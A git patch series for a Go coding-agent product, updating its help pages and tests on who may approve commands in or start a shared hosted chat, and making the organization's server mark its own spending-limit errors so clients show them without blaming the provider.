the owner whatever role a person holds: approving a command, changing a setting, opening the chat's files, stopping its work. A command that needs approval waits for the owner, unless the organization's policy says otherwise: see *can someone I shared my hosted chat with approve a command*. Stopping or deleting the chat itself is a separate door that needs the `manage` permission, which the `full` role holds: see *stop or delete a chat on the server*. ## what happens when I give someone run access to my hosted chat — they act with my GitHub identity, files and spending limits @@ -86,7 +86,19 @@ Only one window types at a time. While the owner has the chat open with the keyb When the owner takes your access away, or the policy changes so you no longer have it, your window is ended within a few seconds (five unless the operator set another heartbeat) and reads `Your access to this chat was removed.` -Opening a chat that is not running starts it for its owner, which can be refused while its owner or the machine is running as many chats as are allowed. Then you read `This chat is not running, and there is no room to start it right now. Try again later.` +Opening a chat that is not running starts it for its owner, which can be refused while its owner or the machine is running as many chats as are allowed. Then you read `This chat is not running, and there is no room to start it right now. Try again later.` If the organization's policy keeps you from starting a chat, you read `This chat is not running. Starting it takes permission to send messages in it. Ask its owner.` or `This chat is not running. Only its owner can start it. Ask them to open it.`: see *who may start a hosted chat that is not running*. + +## can someone I shared my hosted chat with approve a command — the owner by default, and the policy setting that lets people who answer allow one + +By default no. A command that needs approval under your approval mode waits for you, whatever role the person holds, and that is true however their window sends the answer: if they try, they read `This chat is shared with you. Only its owner can do that.` and the chat never hears it. Answering the chat's other questions is not affected: a person with the `answer` permission still answers those. + +The operator can change that in the organization's policy. `PUT /v1/org/policy` takes `"chats": {"approvals_by": "owner"}`, which is the default and what an organization with no setting has, or `"chats": {"approvals_by": "answer"}`. With `answer`, a person who holds the `answer` permission (the `edit` and `full` roles do) can allow one command once, or refuse it. Allowing a tool for the rest of the chat, putting the approval away and the chat's own approval setting stay with you, and a person who does not hold `answer` still reads that they were not given permission to answer. What they allow runs as you, in your folder, with your GitHub identity and your limits, and the server notes who answered next to what it charges. A change reaches a window that is already open within a few seconds. Any other word is refused when the policy is saved. The desktop app has no screen for this setting yet. + +## who may start a hosted chat that is not running — anyone who can see it by default, and the policy setting that limits it + +Opening a shared chat that is not running starts it, for its owner and in the owner's place among the chats they may have running. By default anyone who can see the chat does that, including a person with only `view` who runs `codeaf chat --org --session hs_... --once`: it starts the chat in one-shot mode, their own message is refused, and the owner's window then reads `this conversation is already open in a different interactive or headless mode; close it before retrying` until the chat is stopped or stops itself when idle. + +The operator can change that in the organization's policy. `PUT /v1/org/policy` takes `"chats": {"wake_by": "view"}`, which is the default and what an organization with no setting has, `"chats": {"wake_by": "run"}` or `"chats": {"wake_by": "owner"}`. With `run`, only a person who holds the `run` permission starts it; anyone else reads `This chat is not running. Starting it takes permission to send messages in it. Ask its owner.` With `owner`, only its owner does, and everyone else reads `This chat is not running. Only its owner can start it. Ask them to open it.` Nothing is started in either case. A chat that is already running opens for everyone who can see it, under every setting, and the owner's own window is never held back. The rule is checked when a window opens. Any other word is refused when the policy is saved. The desktop app has no screen for this setting yet. ## who pays for a shared chat — when someone else is in my hosted chat, it runs as the owner, with the owner's access and limits @@ -184,7 +196,7 @@ Personal never sees the organization's chats, files or people, and an organizati ## can a teammate send messages in my chat while I am using it — one window writes at a time, and the owner's keyboard comes first -Only if you shared the chat with a role that holds `run` (the `edit` and `full` roles do), and even then one window writes at a time. While you have the chat open with the keyboard, a message or a redirect from your teammate is refused by the chat with its own sentence about the keyboard. It goes through once you close your window, or after they take the keyboard (a person who may send can), which tells your window. Interrupting a turn and answering a question are not held up. Whatever they send runs as you: in your folder, with your GitHub identity and your spending limits, and a command that needs approval waits for you. +Only if you shared the chat with a role that holds `run` (the `edit` and `full` roles do), and even then one window writes at a time. While you have the chat open with the keyboard, a message or a redirect from your teammate is refused by the chat with its own sentence about the keyboard. It goes through once you close your window, or after they take the keyboard (a person who may send can), which tells your window. Interrupting a turn and answering a question are not held up. Whatever they send runs as you: in your folder, with your GitHub identity and your spending limits, and a command that needs approval waits for you, unless the organization's policy lets people who answer allow one (see *can someone I shared my hosted chat with approve a command*). ## the organization's server is down or my sign-in ended — a hosted chat never runs on my computer instead diff --git a/internal/manual/chat/organization-sharing.md b/internal/manual/chat/organization-sharing.md index b5645dfa61..48a86ea04a 100644 --- a/internal/manual/chat/organization-sharing.md +++ b/internal/manual/chat/organization-sharing.md @@ -37,7 +37,7 @@ What a bot makes belongs to its creator: a chat, a task or a file it creates is ## Who sets the sharing rules — the operator's organization policy -The operator holds the organization's **policy**: which roles exist and the verbs in each, whether new chats start private, shared with the owner's workstream, or visible to every member, who may share (anyone holding share, or only the owner), who may move a chat (only its owner, or anyone holding manage on it), and what agents may do. Everyone in the organization can read the policy; only the operator can change it, and a stale edit is refused with "412" so two edits never overwrite each other. +The operator holds the organization's **policy**: which roles exist and the verbs in each, whether new chats start private, shared with the owner's workstream, or visible to every member, who may share (anyone holding share, or only the owner), who may move a chat (only its owner, or anyone holding manage on it), for a hosted chat who approves a command and who may start it when it is not running (see *can someone I shared my hosted chat with approve a command* and *who may start a hosted chat that is not running*), and what agents may do. Everyone in the organization can read the policy; only the operator can change it, and a stale edit is refused with "412" so two edits never overwrite each other. An organization starts on the default policy, which behaves as the server always did: the four roles above, chats private, the operator seeing what is not private and nothing that is. A role can be added or its bundle changed, and the four starting names can never be removed or renamed, because old shares and clients use them. A change to the policy changes who can see things, so every person who gains or loses access to something hears about it at once. A policy that makes new chats visible to every member applies to chats made after the change only; it never opens an existing chat. @@ -45,7 +45,7 @@ An organization starts on the default policy, which behaves as the server always A person with at least **view** on a chat, Afi's pane or a task's working conversation can read what was said there, and ask again for only what is new, but cannot post to it: the message, stop and card doors stay with the person whose chat it is. Everyone else, the operator included, is told the chat is not there, with the same words as for a chat that does not exist: a private chat reveals nothing, not even that it exists. -Reading changes nothing: it does not mark the chat as touched, start its agent, or leave a line on the organization's record. When a grant is removed, runs out, or the chat is moved somewhere the person does not reach, the next read is refused. A role that holds steer or run does not give a talk door in this version for a chat in a workstream: steering someone else's chat there is not built. A chat that runs on the organization's own server (a hosted chat) is the one place it is: a person with steer can interrupt and steer it, one with answer can answer its questions, and one with run (the `edit` and `full` roles) can send messages and run commands in it as its owner, with the owner's GitHub identity and files; approving, settings and files stay the owner's. See *what can someone I shared my hosted chat with do*. +Reading changes nothing: it does not mark the chat as touched, start its agent, or leave a line on the organization's record. When a grant is removed, runs out, or the chat is moved somewhere the person does not reach, the next read is refused. A role that holds steer or run does not give a talk door in this version for a chat in a workstream: steering someone else's chat there is not built. A chat that runs on the organization's own server (a hosted chat) is the one place it is: a person with steer can interrupt and steer it, one with answer can answer its questions, and one with run (the `edit` and `full` roles) can send messages and run commands in it as its owner, with the owner's GitHub identity and files; approving, settings and files stay the owner's unless the organization's policy lets people who answer approve. See *what can someone I shared my hosted chat with do*. ## Moving a chat between My space and a workstream — move is not share diff --git a/internal/manual/chat_hosted_test.go b/internal/manual/chat_hosted_test.go index bab81d4d33..9225136bc4 100644 --- a/internal/manual/chat_hosted_test.go +++ b/internal/manual/chat_hosted_test.go @@ -38,6 +38,11 @@ func TestHostedChatQuestionsReachTheirPage(t *testing.T) { {"can the operator open my hosted chat", []string{"only metadata", "There is no such chat."}}, {"can a bot start a hosted chat", []string{"a bot cannot use this yet", "recorded as made by the bot"}}, {"may I still start a chat on my own computer after joining an organization", []string{"local_sessions", "switch to your personal account"}}, + {"can someone I shared my hosted chat with approve a command to run", []string{"approvals_by", "Only its owner can do that"}}, + {"how do I let people who can answer allow a tool call in a shared chat in the organization policy", []string{"approvals_by", "allow one command once"}}, + {"can a guest with view start my hosted chat when it is not running with codeaf chat --org --once", []string{"wake_by", "already open in a different interactive or headless mode"}}, + {"This chat is not running. Only its owner can start it.", []string{"wake_by", "Ask them to open it."}}, + {"how do I stop other people from starting a hosted chat that is not running in the organization policy", []string{"wake_by", "Starting it takes permission to send messages in it"}}, } for _, ask := range asked { found := Chat().Search(ask.question, DefaultResults) From dc1d5f8d0f4f68c1a734640a642e7c88035ee6ef Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 09:52:11 -0500 Subject: [PATCH 164/176] change entry 2927: a shared hosted chat's tool approvals stay with the owner, and two policy settings loosen that Co-Authored-By: Claude Opus 5.5 --- .../unreleased/2927-configurable-choices.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 docs/changes/unreleased/2927-configurable-choices.md diff --git a/docs/changes/unreleased/2927-configurable-choices.md b/docs/changes/unreleased/2927-configurable-choices.md new file mode 100644 index 0000000000..dbfbadb3a6 --- /dev/null +++ b/docs/changes/unreleased/2927-configurable-choices.md @@ -0,0 +1,15 @@ +--- +kind: fixed +title: A shared hosted chat's tool approvals stay with its owner, and two policy settings loosen that +pr: 2927 +surface: [factory, chat, docs] +invalidates: + - "A guest of a shared hosted chat who held the answer permission, which the `edit` role does, could approve a tool call by sending the chat's approval question an answer, and the chat then ran the command as its owner, although the documentation said a command that needs approval waits for the owner. Now both doors an approval has stay with the owner by default, and the guest reads the same sentence as before: `This chat is shared with you. Only its owner can do that.` Answering the chat's other questions is unchanged." + - "Who approves a tool call in a shared hosted chat could not be set. Now the organization's policy has `chats.approvals_by`: `owner`, which an absent value also means and which is the behaviour above, or `answer`, which lets a person who holds the answer permission allow one tool call once or refuse it. Allowing a tool for the rest of the chat, putting the approval away and the chat's own settings stay with the owner." + - "Anyone who could see a shared hosted chat that was not running started it for its owner by opening it, and no setting could change that. Now the policy has `chats.wake_by`: `view`, which an absent value also means and which is the behaviour from before, `run`, which lets only a person who may send messages in the chat start it, or `owner`. Under the last two a guest is told the chat is not running and to ask its owner, and nothing is started." +--- + +Both settings are the operator's to set with `PUT /v1/org/policy`, are refused with a sentence naming the allowed words +when they are not one of them, and show in `GET /v1/org/policy` once set. An organization that sets neither sees no +difference except the first line above. The keyboard rule for a guest's message while the owner's window is open, and +how a new share reaches an open desktop window, are not settings here. From 89730740e68a52cd28d856277ad7ca43fd11e8b6 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 12:25:42 -0500 Subject: [PATCH 165/176] provider: read the organization model door's own mark off its error A refusal from the organization's model door is shaped like a provider's, so a client could not tell the organization's own sentence from a service's failing account. The error envelope now has a `door` field, and a refusal carrying `door: organization` is flagged on the APIError, with OrgLimitWords giving the organization's sentence for the limit refusals (402, payment-shaped) and false for every other refusal. Terminal handling of the refusal is untouched. Co-Authored-By: Claude Opus 5.5 --- internal/provider/client.go | 9 ++++ internal/provider/orgdoor.go | 53 +++++++++++++++++++++ internal/provider/orgdoor_test.go | 78 +++++++++++++++++++++++++++++++ 3 files changed, 140 insertions(+) create mode 100644 internal/provider/orgdoor.go create mode 100644 internal/provider/orgdoor_test.go diff --git a/internal/provider/client.go b/internal/provider/client.go index db50e10848..bdfb281f9c 100644 --- a/internal/provider/client.go +++ b/internal/provider/client.go @@ -2825,6 +2825,10 @@ type APIError struct { Payment bool PlanPaused bool PlanUnavailable bool + // OrgDoor says THE ORGANIZATION'S MODEL DOOR wrote this refusal, in its own + // sentence, for a person to read (orgdoor.go). It is read off the error + // envelope's [DoorKey] field, never off the sentence. + OrgDoor bool } // Error keeps the SDK's exact error phrasing, and names the upstream when the @@ -3003,6 +3007,10 @@ type errorBody struct { Error struct { Message string `json:"message"` Code json.RawMessage `json:"code,omitempty"` + // Door is who wrote this error when it was not a provider: the + // organization's model door writes [OrganizationDoor] here (orgdoor.go). + // A provider never sends it, so its absence is the ordinary case. + Door string `json:"door,omitempty"` // Metadata is the router's own dialect and is decoded leniently, for // [pacedProviderName]'s reason: a provider that shapes its errors // differently simply leaves these empty and behaves exactly as it did @@ -3056,6 +3064,7 @@ func apiError(status int, payload []byte) error { failure.Provider = strings.TrimSpace(decoded.Error.Metadata.ProviderName) failure.Raw = clipRaw(decoded.Error.Metadata.Raw) failure.Code = envelopeCode(decoded.Error.Code) + failure.OrgDoor = decoded.Error.Door == OrganizationDoor } // THE ONE SHAPE THAT NEEDS NO DOOR. Every other structural fact on this error // depends on what the CLIENT knows — whether this base routes, whether the diff --git a/internal/provider/orgdoor.go b/internal/provider/orgdoor.go new file mode 100644 index 0000000000..e8fcb1e49d --- /dev/null +++ b/internal/provider/orgdoor.go @@ -0,0 +1,53 @@ +package provider + +import "strings" + +// ── THE ORGANIZATION'S MODEL DOOR SPEAKS FOR ITSELF ───────────────────────── +// +// A hosted chat reaches its model through the organization's server, and that +// server REFUSES a turn in its own words when a limit it keeps is reached: the +// chat's spending limit, the person's monthly limit. It refuses with an HTTP 402 +// whose body is shaped like a provider's, so the client read it as a provider's. +// A 402 is "the account cannot pay", and the sentence a person got was +// +// openrouter accepted the key but the account cannot pay — This chat has +// reached its spending limit of $0.00, so it is paused. … +// +// which blames the vendor and the person's own account for a limit the +// ORGANIZATION chose, and puts a service name in front of a sentence that already +// says everything the person needs. The door's sentence is the whole answer. +// +// THE DOOR SAYS WHO IS SPEAKING, AND THE CLIENT NEVER GUESSES FROM THE PROSE. Every +// error the organization's door writes carries [DoorKey] set to +// [OrganizationDoor] inside the error envelope; a provider's own refusal never +// does, so a genuine "account cannot pay" from OpenRouter keeps the sentence it +// has always had. Reading the field rather than the sentence is the same rule the +// rest of this package keeps (refusalobject.go): a decision made by matching +// words is a decision that breaks the day somebody rewords them. The server +// (internal/factory/serve) and this reader both spell the field through these two +// constants, and a test feeds the real handler's bytes to the real reader so a +// drift between them fails there. + +const ( + // DoorKey is the field of the error envelope that names who wrote the error. + // It is the JSON tag of [errorBody]'s Door field, which a test pins to this. + DoorKey = "door" + // OrganizationDoor is the value an organization's model door writes under + // [DoorKey]: the sentence in this error is the organization's own. + OrganizationDoor = "organization" +) + +// OrgLimitWords is the organization's own sentence when this refusal is its model +// door saying a limit it keeps was reached, and false for every other refusal — +// a provider's own payment refusal included. It reads the door's mark and the +// refusal's payment shape together, so the door's other refusals (a stopped chat, +// too many requests at once) keep the endings they already had. +func (e *APIError) OrgLimitWords() (string, bool) { + if e == nil || !e.OrgDoor || !e.AccountCannotPay() { + return "", false + } + if said := strings.TrimSpace(e.Message); said != "" { + return said, true + } + return "", false +} diff --git a/internal/provider/orgdoor_test.go b/internal/provider/orgdoor_test.go new file mode 100644 index 0000000000..1f1ae223bd --- /dev/null +++ b/internal/provider/orgdoor_test.go @@ -0,0 +1,78 @@ +package provider + +import ( + "fmt" + "net/http" + "reflect" + "strings" + "testing" +) + +const orgDoorSentence = "This chat has reached its spending limit of $0.001, so it is paused. Start a new chat to carry on." + +// orgDoorBody is an organization model door's error as it writes it, with the +// mark under the shared field name. +func orgDoorBody(status int, kind, message string) []byte { + return []byte(fmt.Sprintf(`{"error":{"code":%d,%q:%q,"message":%q,"type":%q}}`, + status, DoorKey, OrganizationDoor, message, kind)) +} + +// THE FIELD THE SERVER WRITES IS THE FIELD THE CLIENT READS. The reader's JSON +// tag cannot be a constant, so this pins it to [DoorKey], which the server spells +// the mark through. +func TestTheDoorsFieldIsTheOneTheClientDecodes(t *testing.T) { + field, ok := reflect.TypeOf(errorBody{}).Field(0).Type.FieldByName("Door") + if !ok { + t.Fatal("the error envelope has no field for who wrote the error") + } + if tag := strings.Split(field.Tag.Get("json"), ",")[0]; tag != DoorKey { + t.Fatalf("the envelope decodes %q, the door writes %q", tag, DoorKey) + } +} + +func TestOnlyTheOrganizationsDoorIsReadAsTheOrganizationSpeaking(t *testing.T) { + cases := []struct { + name string + status int + body []byte + wantOrg bool + wantSay string + }{ + {"the door's spending limit", 402, orgDoorBody(402, "insufficient_quota", orgDoorSentence), true, orgDoorSentence}, + {"a provider's own payment refusal", 402, []byte(`{"error":{"code":402,"message":"Insufficient credits."}}`), false, ""}, + {"a provider's insufficient_quota type is not the door's mark", 402, + []byte(`{"error":{"code":"insufficient_quota","type":"insufficient_quota","message":"You exceeded your current quota."}}`), false, ""}, + {"a pacing refusal the door signed", 429, orgDoorBody(429, "rate_limit", "This chat is already making as many requests as it may at once. Try again in a moment."), false, ""}, + {"a stopped chat the door signed", 401, orgDoorBody(401, "invalid_request_error", "This chat's model access has ended."), false, ""}, + {"a different door's mark", 402, []byte(`{"error":{"code":402,"door":"someone-else","message":"Insufficient credits."}}`), false, ""}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + refusal, ok := RefusalFrom(apiError(tc.status, tc.body)) + if !ok { + t.Fatal("no refusal") + } + said, org := refusal.OrgLimitWords() + if org != tc.wantOrg || said != tc.wantSay { + t.Fatalf("OrgLimitWords = %q, %v; want %q, %v", said, org, tc.wantSay, tc.wantOrg) + } + }) + } +} + +// NOTHING ELSE ABOUT THE REFUSAL CHANGES. The door's limit is still a terminal +// empty-account refusal: no endpoint walk, no second model, no retry. Only the +// words a person reads moved. +func TestTheDoorsLimitIsStillTerminalForEveryReaderOfARefusal(t *testing.T) { + err := apiError(http.StatusPaymentRequired, orgDoorBody(402, "insufficient_quota", orgDoorSentence)) + refusal, _ := RefusalFrom(err) + if !refusal.AccountCannotPay() || !refusal.OurRequest() { + t.Fatalf("the door's limit is no longer terminal: payment=%v ours=%v", refusal.AccountCannotPay(), refusal.OurRequest()) + } + if failure, _ := RouteFailureOf(err); failure != RoutePayment { + t.Fatalf("the route read the door's limit as %q", failure) + } + if refusal.Message != orgDoorSentence { + t.Fatalf("the refusal's own sentence changed: %q", refusal.Message) + } +} From 1bd2bbacc18fe7dbb429b71f99e144a107c62aea Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 12:25:42 -0500 Subject: [PATCH 166/176] serve: the model door signs its own errors and writes a limit as the number it is Every error the organization's model door writes now carries the `door` mark, so a client can show its sentence as written. A provider's refusal passed through the door is not signed and keeps its own wording. The limit sentences wrote every cap with two decimals, so a limit of a tenth of a cent read "$0.00"; a whole number of cents keeps two places ($5.00, $0.50), anything finer is spelled by the one door that spells a cap (teams.Money: $0.001). Co-Authored-By: Claude Opus 5.5 --- internal/factory/serve/model_route.go | 33 +++++++++--- .../factory/serve/model_route_signed_test.go | 54 +++++++++++++++++++ 2 files changed, 81 insertions(+), 6 deletions(-) create mode 100644 internal/factory/serve/model_route_signed_test.go diff --git a/internal/factory/serve/model_route.go b/internal/factory/serve/model_route.go index 83b33fe4e4..8bf6e22c2b 100644 --- a/internal/factory/serve/model_route.go +++ b/internal/factory/serve/model_route.go @@ -8,6 +8,7 @@ import ( "errors" "fmt" "log" + "math" "net/http" "strconv" "strings" @@ -24,6 +25,7 @@ import ( "github.com/Agent-Field/codeaf/internal/modelsource" "github.com/Agent-Field/codeaf/internal/provider" "github.com/Agent-Field/codeaf/internal/provider/modelapi" + "github.com/Agent-Field/codeaf/internal/teams" ) const ( @@ -31,8 +33,8 @@ const ( hostedModelIdle = 10 * time.Minute hostedModelInFlight = 4 - hostedChatLimit = "This chat has reached its spending limit of $%.2f, so it is paused. Start a new chat to carry on." - hostedMonthLimit = "You have reached your monthly limit of $%.2f, so this chat is paused. The organization's operator can raise it in Settings." + hostedChatLimit = "This chat has reached its spending limit of %s, so it is paused. Start a new chat to carry on." + hostedMonthLimit = "You have reached your monthly limit of %s, so this chat is paused. The organization's operator can raise it in Settings." hostedModelBusy = "This chat is already making as many requests as it may at once. Try again in a moment." hostedOwnKey = "Your own model key could not be opened on this server, so this chat paused instead of using the organization's." // A provider that refuses a key (401 or 403) is a fact about the key, not a @@ -168,10 +170,10 @@ func (m *modelRegistry) admit(h *Handler, bearer string, row bearerRow, space fa return nil, hostedModelRefusal{http.StatusServiceUnavailable, hostedLimitCheck} } if spent >= capUSD { - return nil, hostedModelRefusal{http.StatusPaymentRequired, fmt.Sprintf(hostedChatLimit, capUSD)} + return nil, hostedModelRefusal{http.StatusPaymentRequired, fmt.Sprintf(hostedChatLimit, limitMoney(capUSD))} } if limit, spent := h.spaceMonth(space.ID); spent >= limit { - return nil, hostedModelRefusal{http.StatusPaymentRequired, fmt.Sprintf(hostedMonthLimit, limit)} + return nil, hostedModelRefusal{http.StatusPaymentRequired, fmt.Sprintf(hostedMonthLimit, limitMoney(limit))} } if entry == nil { entry, err = h.openHostedModel(row, space, capUSD-spent) @@ -443,11 +445,30 @@ func writeHostedModelError(w http.ResponseWriter, status int, message string) { } w.Header().Set("Content-Type", "application/json") w.WriteHeader(status) + // THE DOOR SIGNS ITS OWN SENTENCES. A hosted chat's client reads a 402 from + // anywhere as "the account cannot pay" and names the vendor, which blamed + // OpenRouter and the person for a limit the organization chose. The mark is + // how the client tells this server's sentence, which it shows as written, from + // a provider's refusal passed through untouched, which keeps its own wording; + // it never has to guess from the prose (internal/provider/orgdoor.go). _ = json.NewEncoder(w).Encode(map[string]any{ - "error": map[string]any{"message": message, "type": kind, "code": status}, + "error": map[string]any{"message": message, "type": kind, "code": status, provider.DoorKey: provider.OrganizationDoor}, }) } +// limitMoney writes a limit the way the person who set it wrote it, and never as +// a different number. A whole number of cents keeps its two places ($5.00, $0.25, +// $20.00); a limit finer than a cent is spelled as chosen by the one door that +// spells a cap (teams.Money: $0.001). The sentence used to round everything to the +// cent, so a limit of a tenth of a cent read "$0.00" — a refusal quoting a limit +// of nothing, for a chat that had been given one. +func limitMoney(usd float64) string { + if cents := usd * 100; math.Abs(cents-math.Round(cents)) < 1e-9 { + return fmt.Sprintf("$%.2f", usd) + } + return teams.Money(usd) +} + // hostedModelWriter keeps the local API's reservation language and dollars // on the server. It passes each SSE write through as it arrives. type hostedModelWriter struct { @@ -461,7 +482,7 @@ func (w *hostedModelWriter) WriteHeader(status int) { switch { case status == http.StatusPaymentRequired && !w.call.called.Load(): w.replaceBody = true - writeHostedModelError(w.ResponseWriter, status, fmt.Sprintf(hostedChatLimit, w.capUSD)) + writeHostedModelError(w.ResponseWriter, status, fmt.Sprintf(hostedChatLimit, limitMoney(w.capUSD))) case status == http.StatusTooManyRequests && w.Header().Get(modelapi.HeldHeader) != "": w.replaceBody = true w.Header().Del(modelapi.HeldHeader) diff --git a/internal/factory/serve/model_route_signed_test.go b/internal/factory/serve/model_route_signed_test.go new file mode 100644 index 0000000000..64db452aba --- /dev/null +++ b/internal/factory/serve/model_route_signed_test.go @@ -0,0 +1,54 @@ +package serve + +import ( + "context" + "net/http" + "strings" + "testing" + + "github.com/Agent-Field/agentfield/sdk/go/ai" + "github.com/Agent-Field/codeaf/internal/provider" +) + +func TestEveryErrorTheDoorWritesIsSignedAndOnlyThoseItWrites(t *testing.T) { + rg := newMeteredRig(t, 0.5, func(ctx context.Context, _, model string) (*ai.Response, error) { + return meteredAnswer(ctx, model, "paid", 0.5), nil + }) + chat := rg.create(t, "santosh") + if w := callHostedModel(rg, chat, testHostedBody); w.Code != http.StatusOK || + strings.Contains(w.Body.String(), provider.DoorKey) { + t.Fatalf("an answer carries the door's mark or failed: %d %s", w.Code, w.Body) + } + refused := callHostedModel(rg, chat, testHostedBody) + if refused.Code != http.StatusPaymentRequired || + !strings.Contains(refused.Body.String(), `"`+provider.DoorKey+`":"`+provider.OrganizationDoor+`"`) { + t.Fatalf("the door's refusal is not signed: %d %s", refused.Code, refused.Body) + } + hostedModelErrorIs(t, refused, http.StatusPaymentRequired, "insufficient_quota", + "This chat has reached its spending limit of $0.50, so it is paused. Start a new chat to carry on.") +} + +func TestALimitIsWrittenAsTheNumberItIs(t *testing.T) { + // Contract 3, and the emptiness law where it applied before: zero stays "$0.00". + for usd, want := range map[float64]string{ + 0: "$0.00", + 0.001: "$0.001", + 0.0015: "$0.0015", + 0.005: "$0.005", + 0.015: "$0.015", + 0.01: "$0.01", + 0.25: "$0.25", + 0.5: "$0.50", + 2: "$2.00", + 5: "$5.00", + 20: "$20.00", + 1234.5: "$1234.50", + 0.07: "$0.07", + 0.000001: "$0.000001", + 10000.0: "$10000.00", + } { + if got := limitMoney(usd); got != want { + t.Errorf("limitMoney(%v) = %q, want %q", usd, got, want) + } + } +} From eb1cf24497b1863d365b369999011f625fff3403 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 12:25:42 -0500 Subject: [PATCH 167/176] chat: a turn that hit the organization's limit says the organization's sentence The engine's ending and the page's failure line put " accepted the key but the account cannot pay" in front of a door's limit sentence, blaming the vendor and the person's account for a limit the organization set. A refusal the organization's door signed is now shown as the door wrote it, with no service name, and it no longer asks for a read of the person's own OpenRouter credits. A provider's own payment refusal reads exactly as before. Co-Authored-By: Claude Opus 5.5 --- .../factory/serve/model_route_words_test.go | 135 ++++++++++++++++++ internal/session/loop.go | 11 ++ internal/tui3/credits.go | 6 +- internal/tui3/feed.go | 9 ++ internal/tui3/orgdoorwords_test.go | 120 ++++++++++++++++ 5 files changed, 280 insertions(+), 1 deletion(-) create mode 100644 internal/factory/serve/model_route_words_test.go create mode 100644 internal/tui3/orgdoorwords_test.go diff --git a/internal/factory/serve/model_route_words_test.go b/internal/factory/serve/model_route_words_test.go new file mode 100644 index 0000000000..b57f05fe90 --- /dev/null +++ b/internal/factory/serve/model_route_words_test.go @@ -0,0 +1,135 @@ +package serve + +import ( + "context" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/Agent-Field/agentfield/sdk/go/ai" + "github.com/Agent-Field/codeaf/internal/factory/store" + "github.com/Agent-Field/codeaf/internal/modelsource" + "github.com/Agent-Field/codeaf/internal/provider" + "github.com/Agent-Field/codeaf/internal/session" +) + +// THE PERSON READS THE ORGANIZATION'S SENTENCE, NOT A PAYMENT FAILURE. These tests +// run the organization's real model door over a real socket and a real engine turn +// against it, so the line they read is the one a hosted chat's person reads. A +// door whose body the client could not tell from a provider's was found live: a +// chat at its limit read " accepted the key but the account cannot pay — +// This chat has reached its spending limit of $0.00 …", blaming the vendor and the +// person's account for a limit the organization set, and quoting a cap of a tenth +// of a cent as nothing. + +// hostedTurnLine runs one real engine turn against the door of the chat and +// answers the sentence the turn ended on, with the service name the engine +// would put in front of a provider's payment refusal. +func hostedTurnLine(t *testing.T, rg *hostedRig, chat string) (line, service string) { + t.Helper() + door := httptest.NewServer(rg.h) + t.Cleanup(door.Close) + key, base := rg.host.tokenOf(chat), door.URL+"/v1/model" + agent, err := session.New(session.Config{Workspace: t.TempDir(), Model: testHostedModel, APIKey: key, BaseURL: base}) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = agent.Close() }) + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + events, err := agent.Submit(ctx, "Hi") + if err != nil { + t.Fatal(err) + } + var failure error + for event := range events { + if event.Kind == session.EventError { + failure = event.Err + } + } + if failure == nil { + t.Fatal("the turn ended without an error") + } + // The service the engine names is the one its own source set resolves for the + // model, asked the same way (session's failureServiceWord). + var none modelsource.Set + resolved, _ := none.OrDefault(key, base).For(testHostedModel) + return failure.Error(), strings.TrimSpace(resolved.Source.Written) +} + +func TestAHostedChatAtItsSpendingLimitReadsTheOrganizationsSentenceAndNothingElse(t *testing.T) { + // Contract 1 and 3: a limit of a tenth of a cent is spent by the first call. + var calls int + rg := newMeteredRig(t, 0.001, func(ctx context.Context, _, model string) (*ai.Response, error) { + calls++ + return meteredAnswer(ctx, model, "paid", 0.001), nil + }) + chat := rg.create(t, "santosh") + if w := callHostedModel(rg, chat, testHostedBody); w.Code != http.StatusOK { + t.Fatalf("the first call = %d %s", w.Code, w.Body) + } + + line, service := hostedTurnLine(t, rg, chat) + const want = "This chat has reached its spending limit of $0.001, so it is paused. Start a new chat to carry on." + if line != want { + t.Fatalf("the person read\n %q\nwant exactly\n %q", line, want) + } + if strings.TrimSpace(service) == "" { + t.Fatal("the control is void: the engine resolved no service name to leave out") + } + for _, blame := range []string{service, "accepted the key", "cannot pay", "402", "API error"} { + if strings.Contains(strings.ToLower(line), strings.ToLower(blame)) { + t.Fatalf("the line carries %q, which is not the organization's sentence: %q", blame, line) + } + } + if calls != 1 { + t.Fatalf("the refused turn reached the upstream: %d calls", calls) + } +} + +func TestAHostedChatAtTheMonthlyLimitReadsTheOrganizationsSentenceAndNothingElse(t *testing.T) { + // The person's monthly limit is the door's other 402 and had the same defect. + rg := newMeteredRig(t, 0, func(context.Context, string, string) (*ai.Response, error) { + t.Fatal("a refused turn reached the upstream") + return nil, nil + }) + space := myHostedSpace(t, rg, "santosh") + if _, err := rg.st.AddSpend(space.Workstream.ID, store.Spend{ + At: rg.h.clock().Format(time.RFC3339Nano), USD: 20, Chat: "agent", By: "santosh", + }); err != nil { + t.Fatal(err) + } + chat := rg.create(t, "santosh") + + line, service := hostedTurnLine(t, rg, chat) + const want = "You have reached your monthly limit of $20.00, so this chat is paused. The organization's operator can raise it in Settings." + if line != want { + t.Fatalf("the person read\n %q\nwant exactly\n %q", line, want) + } + if strings.Contains(line, service) || strings.Contains(line, "cannot pay") { + t.Fatalf("the line blames a service or an account: %q", line) + } +} + +func TestAProvidersOwnPaymentRefusalThroughTheDoorStillReadsAsAnAccountThatCannotPay(t *testing.T) { + // Contract 2: the door passes a refusal its upstream gave through untouched, and + // that one IS a service's account failing, so it keeps its wording. + rg := newMeteredRig(t, 0, func(context.Context, string, string) (*ai.Response, error) { + return nil, &provider.APIError{Status: http.StatusPaymentRequired, Message: "Insufficient credits. Add more at the provider's settings."} + }) + chat := rg.create(t, "santosh") + + line, service := hostedTurnLine(t, rg, chat) + if strings.TrimSpace(service) == "" { + t.Fatal("the control is void: the engine resolved no service name") + } + if !strings.HasPrefix(line, service+" accepted the key but the account cannot pay — ") || + !strings.Contains(line, "Insufficient credits. Add more at the provider's settings.") { + t.Fatalf("a provider's own refusal read %q", line) + } + if strings.Contains(line, "spending limit") { + t.Fatalf("a provider's refusal read as the organization's: %q", line) + } +} diff --git a/internal/session/loop.go b/internal/session/loop.go index 23e7ede051..97b9ad4ec2 100644 --- a/internal/session/loop.go +++ b/internal/session/loop.go @@ -3181,6 +3181,17 @@ func terminalFailureWords(err error, service string) (string, bool) { return 